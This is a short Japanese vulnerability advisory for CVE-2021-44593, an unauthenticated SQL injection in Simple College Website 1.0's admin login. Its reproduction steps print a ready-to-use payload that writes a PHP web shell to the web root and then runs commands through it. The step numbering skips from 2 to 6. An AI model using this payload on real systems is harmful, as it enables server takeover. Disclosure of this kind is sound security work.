CVE-2021-44593

CVE-2021-44593 の公開情報。Simple College Website における SQL インジェクション／任意ファイルアップロード／リモートコード実行の脆弱性。

説明

Simple College Website 1.0 は、/admin/login.php ページの "username" パラメータにおいて、認証を必要としない UNION ベースの SQL インジェクションに対して脆弱です。これを悪用して任意のファイルをアップロードし、リモートコード実行を獲得することができます。

影響を受けるコンポーネント

admin_class.php 内の関数 login()

再現手順

1. 管理者ログインページ（通常は /admin/login.php）にアクセスします。
2. POST パラメータ "username" に以下の UNION ベースの SQL インジェクションを含めてログインフォームを送信します。

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. /testing.php?cmd=id にアクセスします。

注意事項

1. Web サーバーのルートディレクトリの場所を知っている必要があります。
2. ドキュメントルートディレクトリが Web サーバーのルートディレクトリと異なる場合、その場所も知っている必要がある場合があります。
3. さらに、MySQL デーモンがそのディレクトリに対して書き込み権限を持っている必要があります。